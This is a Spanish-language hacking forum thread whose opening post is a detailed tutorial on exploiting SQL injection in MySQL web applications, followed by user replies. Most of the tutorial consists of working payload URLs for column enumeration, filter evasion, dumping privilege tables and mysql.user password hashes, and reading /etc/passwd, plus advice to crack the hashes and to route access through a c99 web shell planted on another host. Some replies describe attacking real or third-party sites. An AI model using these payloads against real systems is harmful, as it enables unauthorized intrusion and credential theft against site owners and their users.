Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Bugs y Exploits => Hacking => Nivel Web => Mensaje iniciado por: 6666 en 5 Diciembre 2008, 00:28 AM

Título: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: 6666 en 5 Diciembre 2008, 00:28 AM
+--------------------------------------------------------+
|                                                                   |
|      SQL injection && Blind Sql Injection      |
|                                                                   |
|                   Escrito por l0ve              |
|                                                                   |
+--------------------------------------------------------+

¿Qué es sql injection?

"Inyección SQL es una vulnerabilidad informática en el nivel de la validación de las entradas a la
base de datos de una aplicación. El origen es el filtrado incorrecto de las variables utilizadas en las
partes del programa con código SQL. Es, de hecho, un error de una clase más general de
vulnerabilidades que puede ocurrir en cualquier lenguaje de programación o de script que esté
incrustado dentro de otro.
Una inyección SQL sucede cuando se inserta o "inyecta" un código SQL "invasor" dentro de otro
código SQL para alterar su funcionamiento normal, y hacer que se ejecute maliciosamente el código
"invasor" en la base de datos."

Fuente:
http://es.wikipedia.org/wiki/Inyección_SQL (http://es.wikipedia.org/wiki/Inyecci%C3%B3n_SQL)

¿Qué vamos a ver?

Vamos a buscar, reconocer y explotar de distintas formas "inyecciones SQL" en aplicaciones web con bases de datos MySQL version 4.x o 5.x ..

aclaración: Algunas cosas explicadas acá puede ser que no funcionen en otras base de datos ya que no todas son iguales, hay variedades de ellas ... mysql, mssql (sql server), sqlite, oracle etc ..

Antes de empezar vamos a repasar algunas cosas básicas:

? enlaza la URL con los parámetros.
& delimita donde termina un parámetro y donde comienza el otro.
= asigna el valor.

Recuerda bien ;).

Empecemos ...

Nota: En los ejemplos voy a usar siempre "localhost" y un script en php llamado "print.php"


¿Cómo reconocer una vulnerabilidad sql?

Hay varias formas de hacerlo, entre ellas puede ser usando una comilla simple ` (``%27``) al
final de la URL:

http://localhost/print.php?id=332`

también con:

- paréntesis ")"
- "comentarios" como ``/*`` , ``--`` o "#"
- palabras del lenguaje sql como "select,order by" etc ..

Ejemplos:

http://localhost/print.php?id=12) --
http://localhost/print.php?id=12)) --
http://localhost/print.php?id=12 `--
http://localhost/print.php?id=12 `) --
http://localhost/print.php?id=12 `)) --

veamos:

(http://img201.imageshack.us/img201/2907/pantallazo1nq2.png) (http://imageshack.us)
(http://img201.imageshack.us/img201/pantallazo1nq2.png/1/w1152.png) (http://g.imageshack.us/img201/pantallazo1nq2.png/1/)


el tema con los "comentarios" es que puede ser que con un tipo de comentario funcione y con el otro no .. por ejemplo:

Con /*:

(http://img153.imageshack.us/img153/9775/pantallazo6bt1.png) (http://imageshack.us)
(http://img153.imageshack.us/img153/pantallazo6bt1.png/1/w1152.png) (http://g.imageshack.us/img153/pantallazo6bt1.png/1/)

Con --:

(http://img241.imageshack.us/img241/1391/pantallazo7zf9.png) (http://imageshack.us)
(http://img241.imageshack.us/img241/pantallazo7zf9.png/1/w1152.png) (http://g.imageshack.us/img241/pantallazo7zf9.png/1/)


además de los ejemplos anteriores se pueden usar "operadores lógicos" ..

ejemplo:

http://localhost/print.php?id=1 and 1=1

Y luego:
                                       
http://localhost/print.php?id=1 and 1=2

vemos que al hacer la primera inyección la pagina se imprime normalmente ... pero al inyectar lo
segundo vemos que se devuelve modificada (a veces vacía o falta algún contenido, se notara la diferencia).
Si al hacer algunas de estas inyecciones obtenemos algo como: "You have an error in your SQL
syntax; check the manual that " o algo parecido .. sabemos que es vulnerable a
sql injection.

(http://img209.imageshack.us/img209/7611/pantallazo2jm2.png) (http://imageshack.us)
(http://img209.imageshack.us/img209/pantallazo2jm2.png/1/w1152.png) (http://g.imageshack.us/img209/pantallazo2jm2.png/1/)

(http://img357.imageshack.us/img357/5663/pantallazo3tn3.png) (http://imageshack.us)
(http://img357.imageshack.us/img357/pantallazo3tn3.png/1/w1152.png) (http://g.imageshack.us/img357/pantallazo3tn3.png/1/)


No solo se puede usar "AND" existen otros operadores lógicos:

1 && 1 //Representa el AND
1 || 1 //Representa el OR
1 XOR 0 //Retorna null si alguno de ellos es null
! //Representa NOT se evalúa 1 si el operando es 0 y a 0 si el operando es distinto a 0.


Explorando la base de datos

Vamos a averiguar el numero de columnas ...

¿Cómo hacemos eso? ¡Fácil!, usamos el `order by` e iremos incrementando o viceversa según los
resultados veamos.

http://localhost/print.php?id=-1 order by 1/* <---- no muestra un error
http://localhost/print.php?id=-1 order by 2/* <---- no muestra un error
...
http://localhost/print.php?id=-1 order by 14/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 15/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 16/* <-------- no muestra un error
http://localhost/print.php?id=-1 order by 17/* <-------- error

Cuando hay un error nos mostrara algo así:

"Unknown column `17` in `order clause"

Como podemos ver hay 16 columnas.

(http://img201.imageshack.us/img201/5628/pantallazo4tk0.png) (http://imageshack.us)
(http://img201.imageshack.us/img201/pantallazo4tk0.png/1/w1152.png) (http://g.imageshack.us/img201/pantallazo4tk0.png/1/)

(http://img259.imageshack.us/img259/2674/pantallazo5dl9.png) (http://imageshack.us)
(http://img259.imageshack.us/img259/pantallazo5dl9.png/1/w1152.png) (http://g.imageshack.us/img259/pantallazo5dl9.png/1/)


Pero hay veces que esto no es posible y tendremos que usar UNIÓN
(Sentencia UNIÓN:
Se usa
para combinar los resultados de varias sentencias SELECT en un único conjunto de resultados.)

http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Ahí la pagina nos puede imprimir unos números o tal vez puede verse que falta de algún contenido pero
sabremos que la unión funciona .. también podemos hacer:

union all select 1/*
union all select 1,2/*
union all select 1,2,3/*
..
y así sucesivamente hasta encontrar la cantidad de columnas.


Saber la versión de mysql y entre otros datos útiles

Bueno ahora analicemos la inyección de más arriba ..

http://localhost/print.php?id=-1+union+all+select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

Como pueden ver no explique el -1 .. no quiere decir que siempre hay que ponerlo .. pueden usar cualquier numero.


Lo que hay que hacer ahora es reemplazar alguno de esos números por inyecciones que nos pueden dar algunos datos del servidor (estos números corresponde a una columna de la tabla).

Versión:

http://localhost/print.php?id=-1+union+all+select 1,@@version,3,4,5,6,7,8,9,10,11,12,13,14,15,16/
*

(se pude usar @@version o version())

Ejemplo:

(http://img241.imageshack.us/img241/6568/pantallazo8ut9.png) (http://imageshack.us)
(http://img241.imageshack.us/img241/pantallazo8ut9.png/1/w1152.png) (http://g.imageshack.us/img241/pantallazo8ut9.png/1/)

(se pude usar @@version o version())

Tendrás algo como "4.1.20-log"

Los @@ son variables del sistema,por ejemplo podríamos hacer algo como @@servename.

Es importante saber la versión de MySQL ya que podría facilitarnos la inyección ..

version() Devuelve la versión del servidor MySQL.
database() Devuelve el nombre de la base de datos actual.
current_user() Devuelve el nombre de usuario y el del host para el que está autentificada la
conexión actual. Este valor corresponde a la cuenta que se usa para evaluar los privilegios de
acceso. Puede ser diferente del valor de USER().
last_insert_id() Devuelve el último valor generado automáticamente que fue insertado en una
columna AUTO_INCREMENT.
connection_id() Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.
@@datadir directorio de la db.

un problema frecuente .. ¿Por qué me dice que es ilegal, implícita etc ..?

ok .. para evitarlo se hace de la siguiente forma:

con la función convert().

http://localhost/print.php?id=-1+union+all+select 1,convert(@@version using
latin1),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

con hex() y unhex():

http://localhost/print.php?id=-1+union+all+select
1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

aes_encrypt & aes_decrypt

http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,aes_decrypt(aes_encrypt(user,1),1),5+from+mysql.user--

COMPRESS , UNCOMPRESS

http://localhost/print.php?id=-1+UNION+SELECT+1,2,3,UNCOMPRESS(COMPRESS(user)),5+from+mysql.user--


Bueno hasta acá ya tenemos bastantes datos interesantes sobre el servidor y ademas sabemos si es vulnerable o no .. sigamos.


Algunas veces nos podemos encontrar con filtros que nos lian las inyecciones, pero hay varias forma de "saltarlos" por ejemplo:


http://localhost/print.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*

http://localhost/print.php?id=-1/**/uNion/**/aLl/**/sElEcT/**/1,unhEx(hex(@@versión)),3,4,5,6,7,8,9,10,11,12,13,14,15,16/*




Obteniendo tabla,nombre de columna y otros datos

Vamos a ver como hacer al tener una versión 5 de MySQL:

Para tener una lista de los privilegios podemos hacer:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,privilege_type,is_grantable),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

hay algo nuevo y es CONCAT (concat une datos dentro de una consulta sql).
Con esto nos ahorraríamos de hacer inyecciones ..

si algún dato no existe en la base de datos "concat" produce un error .. y si no hay contenido larga NULL.

pero todo sale muy junto? ..¿Cómo podemos evitar esto?

Podemos pasar algún carácter a hexadecimal o usando char() (pasando el valor a ascii).

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,privilege_type,0x3a,is_grantable)3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Vemos que 0x3a es un valor en hex y representa ":"

Entonces obtendremos algo así:

``primerdato:segundodato`` y no ``primerdatosegundodato``

Y así con cualquier carácter por ejemplo "=" en hexa (0x3D) Obtendríamos:

``primerdato=segundodato``

Y en ascii:

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,char(58),privilege_type,char(58),is_grantable)3,4,5,6,7,8,
9,10,11,12,13,14,15,16+from+information_schema.user_privileges/*

Ejemplo:

(http://img241.imageshack.us/img241/4715/pantallazo9xv6.png) (http://imageshack.us)
(http://img241.imageshack.us/img241/pantallazo9xv6.png/1/w1152.png) (http://g.imageshack.us/img241/pantallazo9xv6.png/1/)

y ..

(http://img241.imageshack.us/img241/3053/pantallazo10ez9.png) (http://imageshack.us)
(http://img241.imageshack.us/img241/pantallazo10ez9.png/1/w1152.png) (http://g.imageshack.us/img241/pantallazo10ez9.png/1/)

Como podemos ver en la segunda imagen aparece unos : (dos puntos)

o con char():

(http://img122.imageshack.us/img122/1842/pantallazo11db8.png) (http://imageshack.us)
(http://img122.imageshack.us/img122/pantallazo11db8.png/1/w1152.png) (http://g.imageshack.us/img122/pantallazo11db8.png/1/)

como podemos ver lo separamos con ^.

Nota: Para saber los valores ascii: http://www.ascii.cl/es/ (http://www.ascii.cl/es/)

o Sencillo script en perl para pasar una cadena de caracteres a HEX:

print "Enter string to encode:";
$str=<STDIN>;chomp $str;
$enc = encode($str); print "Hex Encoded value: 0x$enc\n";
sub encode{ #Sub to encode
@subvar=@_;
my $sqlstr =$subvar[0];
@ASCII = unpack("C*", $sqlstr);
foreach $line (@ASCII) {
$encoded = sprintf(`%lx`,$line);
$encoded_command .= $encoded;
}
return $encoded_command;
}


Tambien podemos usar concat_ws() (concat_ws() que utiliza el primer argumento para separar el resto:

(http://img389.imageshack.us/img389/4782/pantallazo13ov1.png) (http://imageshack.us)
(http://img389.imageshack.us/img389/pantallazo13ov1.png/1/w1152.png) (http://g.imageshack.us/img389/pantallazo13ov1.png/1/)

o aprovechar los numeros que devuelve la página para poner en ellos algo diferente por ejemplo:

(http://img291.imageshack.us/img291/2955/pantallazo26ro6.png) (http://imageshack.us)
(http://img291.imageshack.us/img291/pantallazo26ro6.png/1/w1152.png) (http://g.imageshack.us/img291/pantallazo26ro6.png/1/)

como ven muestra la base de datos,la tabla y la columna.

en este caso blog es la base .. blog_lb_authors es la tabla y id es la columna.



Bueno seguimos ..

otras formas para obtener una lista de privilegios:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri
v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P
rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv,
0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe
cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m
ysql.user--

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10,
11,12,13,14,15,16+FROM+information_schema.schema_privileges--
http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg
e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges--

una lista sobre las base de datos:

http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s
chema.schemata--

http://localhost/print.php?id=-1+union+all+select+1,distinct(db),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+mysql.db--

una lista de columnas:

http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+information_schema.columns--

También se puede leer algún archivo local como "/etc/passwd":

http://localhost/print.php?id=-1+union+all+select+1,load_file(0x2f6574632f706173737764),3,4,5,6,7,8,9,10,11,12,13,14,15,1
6--

El /etc/passwd esta en hex.

Ejemplo:

(http://img357.imageshack.us/img357/6180/pantallazo12xx0.png) (http://imageshack.us)
(http://img357.imageshack.us/img357/pantallazo12xx0.png/1/w1152.png) (http://g.imageshack.us/img357/pantallazo12xx0.png/1/)

o obtener un user y pass de la db para poder acceder remotamente a ella:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,password),3,4,5,6,7,8,9,
10,11,12,13,14,15,16+FROM+mysql.user--

Ejemplo:

(http://img75.imageshack.us/img75/8233/pantallazo22ga4.png) (http://imageshack.us)
(http://img75.imageshack.us/img75/pantallazo22ga4.png/1/w1152.png) (http://g.imageshack.us/img75/pantallazo22ga4.png/1/)

nos imprimio el host,el usuario y por supuesto el password .. ahora lo que nos queda es crackear el
hash (pueden usar john the ripper etc ..) y controlar si esta abierto el puerto 3306.

Ejemplo:

(http://img241.imageshack.us/img241/8228/pantallazo23uk3.png) (http://imageshack.us)
(http://img241.imageshack.us/img241/pantallazo23uk3.png/1/w1152.png) (http://g.imageshack.us/img241/pantallazo23uk3.png/1/)

y podernos conectar remotamente:

(http://img20.imageshack.us/img20/2249/pantallazo24wt2.png) (http://imageshack.us)
(http://img20.imageshack.us/img20/pantallazo24wt2.png/1/w1152.png) (http://g.imageshack.us/img20/pantallazo24wt2.png/1/)

buscando cosas interesantes:

(http://img241.imageshack.us/img241/8297/pantallazo25gh2.png) (http://imageshack.us)
(http://img241.imageshack.us/img241/pantallazo25gh2.png/1/w1152.png) (http://g.imageshack.us/img241/pantallazo25gh2.png/1/)


Nota: se puede usar cualquier cliente mysql en este caso uso la c99.


Una forma para intentar buscar nombres de columnas:

Buscando algún nombre de tabla .. en este caso largo auth ..

http://localhost/print?id=-1 union all select 1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16 from
information_schema.tables where table_schema = database()

Pasando valor a ascii y buscando ..

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char()

Pasar en ascii "%a%" quedando:

http://localhost/print.php?id=-1 union all select 1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16
from information_schema.columns where table_name = char(97,117,116,104) and column_name
like char(37,97,37)

En esta inyección por ejemplo estaríamos buscando un nombre de columna pasadas en ascii.
Y ahí te larga palabras y luego obtener datos :)

Sacando demàs tablas,columnas etc .. de la base:

Bueno hay algunas veces que al hacer una inyeccion y hacer algo asi:

-1 union all select table_name from information_schema.tables

obtendremos todas todas las tablas impresas de una sola vez .. pero otras veces no ..

por ejemplo:

(http://img357.imageshack.us/img357/2441/pantallazo16co6.png) (http://imageshack.us)
(http://img357.imageshack.us/img357/pantallazo16co6.png/1/w1152.png) (http://g.imageshack.us/img357/pantallazo16co6.png/1/)

Como podemos ver tira todas las tablas .. en cambio en esta no:

(http://img403.imageshack.us/img403/3509/pantallazo17iv7.png) (http://imageshack.us)
(http://img403.imageshack.us/img403/pantallazo17iv7.png/1/w1152.png) (http://g.imageshack.us/img403/pantallazo17iv7.png/1/)


Asi que para ver la siguiente tabla usaremos limit al final de la url ejemplo:

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 1,1--

Ejemplo:

(http://img403.imageshack.us/img403/9270/pantallazo19hr9.png) (http://imageshack.us)
(http://img403.imageshack.us/img403/pantallazo19hr9.png/1/w1152.png) (http://g.imageshack.us/img403/pantallazo19hr9.png/1/)

como podemos ver saco la siguiente tabla .. solo nos quedaria incrementar limit ..

-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 2,1--
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 3,1--
..
-1 union all select 1,2,3,4,5,6 from information_schema.tables limit 15,1--

etc .. entendido? Ok, esto del limit lleva mucho tiempo .. por que saca datos de toda la base de datos
al menos que evitemos lo que no queremos ver :P ejemplo ..

en mysql existen 2 base de datos una se llama information_schema  y la otra mysql .. (Instalen mysql y exploren lo que hay dentro de ellas)

pero si de verdad necesitamos evitarlas con el fin de encontrar algun password de algun panel de administracion etc .. podemos hacer algo asi:

1+union+all+select+1,2,concat(table_schema,0x3a,table_name,0x3a,column_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+information_schema.columns+WHERE+table_schema!=0x6d7973716c+AND+table_schema+!=0x696e666f726d6174696f6e5f736368656d61+limit+100,1--

como podemos ver .. pase information_schema y mysql a HEX logrando que evite buscar alguna informacion en ellas.

aparte de usar limit podriamos usar group_concat() lo que haria es largar nombres de tabla pero no todas ejemplo:

(http://img140.imageshack.us/img140/1161/pantallazo20lr7.png) (http://imageshack.us)
(http://img140.imageshack.us/img140/pantallazo20lr7.png/1/w1152.png) (http://g.imageshack.us/img140/pantallazo20lr7.png/1/)

y para evitar el tema de que aparezca todo junto podriamos hacer algo asi:

(http://img339.imageshack.us/img339/6418/pantallazo21nu3.png) (http://imageshack.us)
(http://img339.imageshack.us/img339/pantallazo21nu3.png/1/w1152.png) (http://g.imageshack.us/img339/pantallazo21nu3.png/1/)

como podemos ver puse: 0x3C62723E que seria un salto de linea en html osea <br>.


TUTORIAL DE PonyMagic

Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: Axus en 5 Diciembre 2008, 03:17 AM
Gran Tutorial :D

Bien explicado y detallado.

Algunos post similares para facilitar la búsqueda.

Tutorial de Inyección SQL. (SQL Injection)
http://foro.elhacker.net/tutoriales_documentacion/tutorial_de_inyeccion_sql_sql_injection-t98448.0.html

SQL Injection para principiantes, ejemplos en aplicaciones reales
http://foro.elhacker.net/bugs_y_exploits/sql_injection_para_principiantes_ejemplos_en_aplicaciones_reales-t142203.0.html

Este tema debe agregarse a la recopilación de Post.
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: mmilenaa en 22 Diciembre 2008, 22:16 PM
Hola.

Les cuento que me he leído y lo he intentado todo y no se qué estoy haciendo mal. Se supone que debo poner el código en el campo de password del sitio en cuestión, pero no funciona.  Ni con "magic quotes" ni sin ellas. He probado en varios sitios donde se que hay php+sql y tampoco me funciona :( De estos últimos conozco usuarios y contraseñas, de manera que lo hago en estos para probar y tampoco :( El sitio que me interesa no se si tiene SQL ni nada :(

Por otro lado el sitio que me interesa, no usa conexión segura, tiene unos javascripts y no se si esto afecte en algo si se pasan esas variables por algunos de ellos. Mejor dicho necesito ayudita :D Soy relativamente nueva en esto y es la primera vez que hago algo de esto :(

¿Alguien podría ayudarme? (Tocaría por MP pues no puedo dar la dirección del sitio en público). Gracias :D
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: fulldebian en 5 Enero 2009, 01:29 AM
hola amigos
lei el tuto, muy bueno, encontre por suerte una web vulnerable, que me costo un bocho pero le estoy sacando datoss:

.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(current_user()))/*
me tiro el usuario

.php?id=-1/**/union/**/all/**/select/**/1,unhex(hex(version()))/*
me da la version

al quere conocer el pass, por ejemplo con lo mencionado en el tuto:

http://localhost/print.php?id=-1+union+all+select+1,concat(host,0x3a,user,0x3a,Select_priv,0x3a,Insert_priv,0x3a,Update_pri
v,0x3a,Delete_priv,0x3a,Create_priv,0x3a,Drop_priv,0x3a,Reload_priv,0x3a,Shutdown_priv,0x3a,P
rocess_priv,0x3a,File_priv,0x3a,Grant_priv,0x3a,References_priv,0x3a,Index_priv,0x3a,Alter_priv,
0x3a,Show_db_priv,0x3a,Super_priv,0x3a,Create_tmp_table_priv,0x3a,Lock_tables_priv,0x3a,Exe
cute_priv,0x3a,Repl_slave_priv,0x3a,Repl_client_priv),3,4,5,6,7,8,9,10,11,12,13,14,15,16+from+m
ysql.user--

http://localhost/print.php?id=-1+union+all+select+1,concat(grantee,0x3a,table_schema,0x3a,privilege_type),3,4,5,6,7,8,9,10,
11,12,13,14,15,16+FROM+information_schema.schema_privileges--
http://localhost/print.php?
id=-1+union+all+select+1,concat(table_schema,0x3a,table_name,0x3a,column_name,0x3a,privileg
e_type),3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_schema.column_privileges--


o cuando quiero ver el archivo etc/password

http://localhost/print.php?id=-1+union+all+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16+FROM+information_s
chema.schem



me aparece que el usuario no puede acceder a la base de datos:

Access denied for user 'yyduhf' to database 'information_schema'

como puede seguir? estoy estancado......
gracias amigos
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: jozy en 24 Enero 2009, 00:11 AM
vos sos l0ve ?, si no sos l0ve, sos un chorro, y si no sos chorro, l0ve es chorro  :laugh:
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: W2P en 24 Enero 2009, 22:22 PM
te pasastes man muy weno el tuto! ;D pero como instalo el scrip del tutorial en appserv? es que me salen errores por todos lados.

Salu2
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: :ohk<any> en 26 Enero 2009, 16:38 PM
 ::)

buen tutorial bien explicado desde la teoria.
la verdad creo que de aqui en 1 año mas, todos sabran vulnerar sitios por sql injection  :P
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: WHK en 27 Enero 2009, 07:21 AM
Me gustó mucho mucho mucho  ;D
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: W2P en 27 Enero 2009, 22:42 PM
perdonenme si soy pesado pero, alguno de ustedes me puede decir como instalar el script en appserv para practicar lo relativo al tutorial? :huh: :rolleyes:

Salu2
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: berz3k en 28 Enero 2009, 19:01 PM
Apenas le preguntaba a sdc sobre algunos tutos para armar labs, este tutorial es bastante bueno, aunque no pierde el merito el de ka0x , tambien bastante bien explicado.

-berz3k.
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: netscape en 28 Enero 2009, 20:53 PM
CitarApenas le preguntaba a sdc sobre algunos tutos para armar labs, este tutorial es bastante bueno, aunque no pierde el merito el de ka0x , tambien bastante bien explicado.

Yo estoy de acuerdo contigo con la idea de montar labs de busqueda de vulnerabilidades a nivel web, creo que se aprendería bastante... ;D

Saludos!!
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: HardieVon en 28 Enero 2009, 23:42 PM
pero para las conexiones remotas de mysql que no nesitas agregar tu ip para poder validar la conexion remota?
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: berz3k en 29 Enero 2009, 01:24 AM
@HansVon

De que conexiones IP hablas? la injeccion es remote, que IP tienes que validar? que este solo en inet? XD

-berz3k.
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: HardieVon en 29 Enero 2009, 03:03 AM
Para explicar mejor.


checa eso que me muestra el Cpanel.

CitarHost de Acceso Remoto a Base de Datos

Puede permitir servidores de web externos a conectarse a sus bases de datos de MySQL mediante añadiendo su nombre de dominio a la lista de hosts que tiene la habilidad de ingresar las bases de datos de tu sitio de web. localhost se refiere al sevidor donde tu sitio esta hospedado.

tal vez el autor no se dio cuenta por que estaba ingresando con la c99 desde el mismo host.
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: 6666 en 13 Febrero 2009, 19:14 PM
Bueno respondiendo algunos comentarios:


Citarvos sos l0ve ?, si no sos l0ve, sos un chorro, y si no sos chorro, l0ve es chorro  :laugh:

el tuto lo escribi completamente recopilando informacion de todos lados .. esta mal? por eso no es ser chorro y tenes un pedazo de tuto. :)

Citarme aparece que el usuario no puede acceder a la base de datos:

Access denied for user 'yyduhf' to database 'information_schema'

lo que pasa que algunas veces tenes permisos para hacer todo lo del tutorial .. la idea es ver las posibilidades a la hora de atacar el servidor.

y eso de acceso denegado es por que el usuario en ese momento no tiene permisos para ingresar a las base de datos mysql o information_schema.


despues hay algo que tengo que explicar y es la conexion remota desde un atacante a su victima .. como veran use el nmap  y vi que el puerto 3306 estaba abierto ..

y use una c99 para conectarme .. lo que pasa que use la c99 por que puedo manipular las tablas y etc .. y accedi a mi propio servidor mysql por que todo el tuto esta en local.

si se ponen a pensar se podria subir una shell c99 a cualquier otro host y atravez de esa c99 conectarse a la victima y tendria la funcion de proxy digamos :).

mientras el servidor tenga el puerto 3306 abierto ya se puede conectar remotamente.

Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: [u]nsigned en 28 Febrero 2009, 03:52 AM
Te felicito sos un kapo!!!!

Esto me va a servir mucho.

En la documentacion oficial de php, en la sección PHP at the Core: A Hacker's Guide to the Zend Engine tmb ahi info muy util, mas que nada para prevenir estas cosas.

Cyaz!
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: cristian89 en 31 Marzo 2009, 20:57 PM
una duda comose q una web es sqlblind??????????????'''' espero respuesta!
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: 6666 en 21 Abril 2009, 01:10 AM
Cita de: cristian89 en 31 Marzo 2009, 20:57 PM
una duda comose q una web es sqlblind??????????????'''' espero respuesta!




bueno busca una url y al final agrega 1 and 1= 1 y despues 1 and 1=2 .. y si al hacer lo segundo cambia el contenido de la web es por que es vulnerable ..

ejemplo:




www.site.com/index.php?id=1 and 1=1
www.site.com/index.php?id=1 and 1=2

te recomiendo una buena tools para los blind's que se llama 'sqlmap'

y si quieres aprender blind sql en milw0rm hay un buen tuto:

http://milw0rm.com/papers/197

saludos!
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: MagnoBalt en 2 Junio 2009, 05:04 AM
Hola l0ve Podes poner el Source del script vulnerable.
Seria de utilidad..
Gracias..
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: 6666 en 2 Junio 2009, 05:22 AM
agregado al final del tuto!
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: MagnoBalt en 9 Junio 2009, 18:10 PM
gracias l0ve, mas completo todavia..
Saludos Man..
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: 6666 en 13 Noviembre 2009, 05:22 AM
zarpao tuto ha quedado :P
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: Arg_oS en 24 Enero 2010, 19:46 PM
Felicidades por el gran tutorial pero podes poner el script vulnerable y como instalarlo en localhost...

Salu2...
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: ^Tifa^ en 1 Febrero 2010, 05:12 AM
Este tipo de vulnerabilidades existen por haber programadores despreocupados y DBA mediocres.

De saber implementar las cosas como se supone deberian, para vulnerar un motor deberian encontrar un Bug interno dentro de la funcionalidad del motor como tal... pero este tipo de vulnerabilidades, sinceramente no tiene perdon por parte del programador y por parte del DBA, deberian ambos ser despedidos.

Un saludo.
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: roy-juano en 25 Marzo 2010, 22:06 PM

Felicidades parce, es el tuto mas completo que he visto en toda la internet.
Muchas gracias  ;-)
Título: Re: Gran tutorial sobre inyecciones sql en MySQL
Publicado por: alexkof158 en 26 Marzo 2010, 09:24 AM
Cita de: ^TiFa^ en  1 Febrero 2010, 05:12 AM
Este tipo de vulnerabilidades existen por haber programadores despreocupados y DBA mediocres.

De saber implementar las cosas como se supone deberian, para vulnerar un motor deberian encontrar un Bug interno dentro de la funcionalidad del motor como tal... pero este tipo de vulnerabilidades, sinceramente no tiene perdon por parte del programador y por parte del DBA, deberian ambos ser despedidos.

Un saludo.
Perdon por salirme del tema pero tifa esta rikisimaaa Besotes mi amor